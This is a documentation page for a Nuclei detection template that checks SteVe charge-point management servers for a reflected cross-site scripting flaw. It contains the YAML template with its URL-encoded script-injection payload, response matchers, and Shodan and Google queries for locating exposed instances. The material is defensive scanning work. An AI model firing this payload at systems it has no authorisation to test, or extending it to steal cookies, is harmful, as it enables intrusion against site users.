SteVe - Cross-Site Scripting
ID: steve-xss
Severity: medium
Author: clem9669
Tags: steve,xss,oss
Description
Section titled “Description”SteVe contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
YAML Source
Section titled “YAML Source”id: steve-xss
info: name: SteVe - Cross-Site Scripting author: clem9669 severity: medium description: | SteVe contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://github.com/steve-community/steve classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cwe-id: CWE-80 cpe: cpe:2.3:a:steve-community:steve:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 shodan-query: http.title:"SteVe - Steckdosenverwaltung" google-query: intitle:"SteVe - Steckdosenverwaltung" product: steve vendor: steve-community tags: steve,xss,oss
http: - method: GET path: - '{{BaseURL}}/steve/services/"%3E%3Cscript%3Ealert(document.domain)%3C/script%3E/services/' - '{{BaseURL}}/services/"%3E%3Cscript%3Ealert(document.domain)%3C/script%3E/services/'
stop-at-first-match: true
matchers-condition: and matchers: - type: word part: body words: - '<script>alert(document.domain)</script>/services/?stylesheet=1">'
- type: word part: header words: - "text/html"
- type: status status: - 200# digest: 4a0a0047304502207fe6c28e53d7be36be3997f7ca10eb09c0a06089079eb4a0fb02d496d2c045e7022100cb79189c330915edc070c02445c01eab0f0a08c580b05aad95ddfdd8586dcd9d:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/steve-xss.yaml"